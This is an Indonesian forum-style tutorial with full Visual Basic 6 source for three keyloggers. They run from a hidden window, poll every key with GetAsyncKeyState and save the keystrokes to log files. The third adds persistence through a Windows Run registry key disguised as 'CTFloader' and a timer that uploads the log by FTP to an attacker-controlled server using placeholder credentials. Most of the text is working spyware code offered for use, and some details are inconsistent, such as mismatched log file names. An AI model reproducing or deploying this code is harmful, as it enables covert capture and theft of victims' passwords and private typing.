0 Cara membuat KEYLOGGER dengan visualbasic 6.0

ni gan ane pnya 3 cara untuk membuat keylogger dengan visualbasic6 (VB6),

cara yang pertama :
pertama:pendekar:
- Buka VB & pilih standardEXE
- atur Form :
Visible : false
showintaskbar : false
- Buat 2 timer
- atur properti timer :
* timer1 interval = 1
* timer2 interval = 2
- lalu masukan kode :

Private Declare Function GetKeyPress Lib "user32" Alias "GetAsyncKeyState" (ByVal keyb As Long) As Integer
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Timer1_Timer()
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
Text1.Text = Text1.Text + Chr(i)
End If
Next i
End Sub
Private Sub Timer2_Timer()
If GetKeyPress(vbKeyA) Then
Dim Savefile As Long
    Savefile = FreeFile
Open "D:\xtricx.txt" For Output As #Savefile
Print #Savefile, Text1.Text
Close #Savefile
End If
End Sub

Penjelasan :
kode :
Open "D:\xtricx.txt" For Output As #Savefil
berfungsi untuk menyimpan hasil (xtricx.txt) adalah nama filenya,Sedangkan Kode :
If GetKeyPress(vbKeyA) Then
berfungsi apabila user menekan tombol A maka hasil akan disimpan :sinis:

Cara ke dua
- Buat 1 timer dan 1 textbox
- ubah interval timer1 menjadi "1"
- lalu masukan kode berikut

Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Timer1_Timer()
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
Text1.Text = Text1.Text + Chr(i)
End if
Next i
End Sub

Cara 3
untuk cara yang satu ini kodenya panjang gan ,
1. jalankan VB dan pilih Standard EXE
2. buat 6 buah timer dan satu buah textbox[beri nama textbox dengan "mated" tanpa tanda petik
3. tekan CTRL + T untuk membuka Components window
4. centang opsi Microsoft Internet Transfer Control 6.0
5. tambahkan module ke program dengan klik menu Projects > Add Module dan ketik kode berikut:

Declare Function GetAsyncKeyState Lib “user32″ (ByVal vKey As Long) As Integer
Declare Function SystemParamsLong Lib “user32″ Alias “SystemParametersInfoA” (ByVal uAction As Long, ByVal uParam As Long, lpvParam As Long, ByVal fuWinIni As Long) As Long
Const SPI_GETKEYBOARDSPEED = 10

6. kode untuk:
timer1

‘ fungsi ini digunakan untuk mencatat aktifitas penekanan tombol keyboard
Private Sub Timer1_Timer()
If GetAsyncKeyState(vbKeyA) Then
mated = mated + “a”
ElseIf GetAsyncKeyState(vbKeyB) Then
mated = mated + “b”
ElseIf GetAsyncKeyState(vbKeyC) Then
mated = mated + “c”
ElseIf GetAsyncKeyState(vbKeyD) Then
mated = mated + “d”
ElseIf GetAsyncKeyState(vbKeyE) Then
mated = mated + “e”
ElseIf GetAsyncKeyState(vbKeyF) Then
mated = mated + “f”
ElseIf GetAsyncKeyState(vbKeyG) Then
mated = mated + “g”
ElseIf GetAsyncKeyState(vbKeyH) Then
mated = mated + “h”
ElseIf GetAsyncKeyState(vbKeyI) Then
mated = mated + “i”
ElseIf GetAsyncKeyState(vbKeyJ) Then
mated = mated + “j”
ElseIf GetAsyncKeyState(vbKeyK) Then
mated = mated + “k”
ElseIf GetAsyncKeyState(vbKeyL) Then
mated = mated + “l”
ElseIf GetAsyncKeyState(vbKeyM) Then
mated = mated + “m”
ElseIf GetAsyncKeyState(vbKeyN) Then
mated = mated + “n”
ElseIf GetAsyncKeyState(vbKeyO) Then
mated = mated + “o”
ElseIf GetAsyncKeyState(vbKeyP) Then
mated = mated + “p”
ElseIf GetAsyncKeyState(vbKeyQ) Then
mated = mated + “q”
ElseIf GetAsyncKeyState(vbKeyR) Then
mated = mated + “r”
ElseIf GetAsyncKeyState(vbKeyS) Then
mated = mated + “s”
ElseIf GetAsyncKeyState(vbKeyT) Then
mated = mated + “t”
ElseIf GetAsyncKeyState(vbKeyU) Then
mated = mated + “u”
ElseIf GetAsyncKeyState(vbKeyV) Then
mated = mated + “v”
ElseIf GetAsyncKeyState(vbKeyW) Then
mated = mated + “w”
ElseIf GetAsyncKeyState(vbKeyX) Then
mated = mated + “x”
ElseIf GetAsyncKeyState(vbKeyY) Then
mated = mated + “y”
ElseIf GetAsyncKeyState(vbKeyZ) Then
mated = mated + “z”
ElseIf GetAsyncKeyState(vbKey0) Then
mated = mated + “0″
ElseIf GetAsyncKeyState(vbKey1) Then
mated = mated + “1″
ElseIf GetAsyncKeyState(vbKey2) Then
mated = mated + “2″
ElseIf GetAsyncKeyState(vbKey3) Then
mated = mated + “3″
ElseIf GetAsyncKeyState(vbKey4) Then
mated = mated + “4″
ElseIf GetAsyncKeyState(vbKey5) Then
mated = mated + “5″
ElseIf GetAsyncKeyState(vbKey6) Then
mated = mated + “6″
ElseIf GetAsyncKeyState(vbKey7) Then
mated = mated + “7″
ElseIf GetAsyncKeyState(vbKey8) Then
mated = mated + “8″
ElseIf GetAsyncKeyState(vbKey9) Then
mated = mated + “9″
ElseIf GetAsyncKeyState(vbKeyEscape) Then
mated = mated + “<Esc>”
ElseIf GetAsyncKeyState(vbKeySpace) Then
mated = mated + “<Space>”
ElseIf GetAsyncKeyState(vbKeyBack) Then
mated = mated + “<BackSpace>”
ElseIf GetAsyncKeyState(vbKeyDelete) Then
mated = mated + “<Canc>”
ElseIf GetAsyncKeyState(vbKeyDown) Then
mated = mated + “<Arrow down>”
ElseIf GetAsyncKeyState(vbKeyShift) Then
mated = mated + “<Shift>”
ElseIf GetAsyncKeyState(vbKeyTab) Then
mated = mated + “<Tab>”
ElseIf GetAsyncKeyState(vbKeyUp) Then
mated = mated + “<Arrow Up>”
ElseIf GetAsyncKeyState(vbKeyRight) Then
mated = mated + “<Right Arrow>”
ElseIf GetAsyncKeyState(vbKeyLeft) Then
mated = mated + “<Left Arrow>”
ElseIf GetAsyncKeyState(vbKeyPageUp) Then
mated = mated + “<Page Up>”
ElseIf GetAsyncKeyState(vbKeyPageDown) Then
mated = mated + “<Page Down>”
ElseIf GetAsyncKeyState(vbKeyF1) Then
mated = mated + “<F1>”
ElseIf GetAsyncKeyState(vbKeyF2) Then
mated = mated + “<F2>”
ElseIf GetAsyncKeyState(vbKeyF3) Then
mated = mated + “<F3>”
ElseIf GetAsyncKeyState(vbKeyF4) Then
mated = mated + “<F4>”
ElseIf GetAsyncKeyState(vbKeyF5) Then
mated = mated + “<F5>”
ElseIf GetAsyncKeyState(vbKeyF6) Then
mated = mated + “<F6>”
ElseIf GetAsyncKeyState(vbKeyF7) Then
mated = mated + “<F7>”
ElseIf GetAsyncKeyState(vbKeyF8) Then
mated = mated + “<F8>”
ElseIf GetAsyncKeyState(vbKeyF9) Then
mated = mated + “<F9>”
ElseIf GetAsyncKeyState(vbKeyF10) Then
mated = mated + “<F10>”
ElseIf GetAsyncKeyState(vbKeyF11) Then
mated = mated + “<F11>”
ElseIf GetAsyncKeyState(vbKeyF12) Then
mated = mated + “<F12>”
ElseIf GetAsyncKeyState(vbKeF13) Then
mated = mated + “<F13>”
ElseIf GetAsyncKeyState(vbKeyEnd) Then
mated = mated + “<FINISH>”
End If
End Sub

timer2

Private Sub Timer2_Timer()
Timer3.Enabled = True
Timer2.Enabled = False
End Sub

timer3

Private Sub Timer3_Timer()
Timer4.Enabled = True
Timer3.Enabled = False
End Sub

timer4

Private Sub Timer4_Timer()
Timer5.Enabled = True
Timer4.Enabled = False
End Sub

timer5

Private Sub Timer5_Timer()
Timer6.Enabled = True
Timer5.Enabled = False
End Sub

timer6

Private Sub Timer6_Timer()
Dim file As String
    Dim ftpwebsite As String
        account = “Akun_web_mu”
        pswd = “Pass_web_mu”
        ftpwebsite = “ftp://alamat_web_mu.com”
    Inet1.URL = ftpwebsite
    Inet1.UserName = account
    Inet1.Password = pswd
    file = “log.txt”
        Inet1.Execute Inet1.URL, “PUT C:\WINDOWS\system32\keylog.txt ” & file
    Do While Inet1.StillExecuting = True
          DoEvents
        Loop
Timer6.Enabled = False
Timer2.Enabled = True
End Sub
formPrivate Sub Form_Load()
‘ fungsi ini untuk membuat keylogg aktif saat windows dinyalakan
Set reg = CreateObject(“Wscript.shell”)
reg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\CTFloader”, App.Path & “\nama_keylogger.exe”
Dim reani As Long
Dim mated As String
SystemParamsLong SPI_GETKEYBOARDSPEED, 0, reani, 0
Timer1.Interval = reani + 150
End Sub
Private Sub mated_Change()
Open “C:\WINDOWS\system32\keylogger.txt” For Output As #1
Print #1, “Data KeyLogg – Reanimated Zone: ” & mated.Text & “, “
Close #1
End Sub

Sekian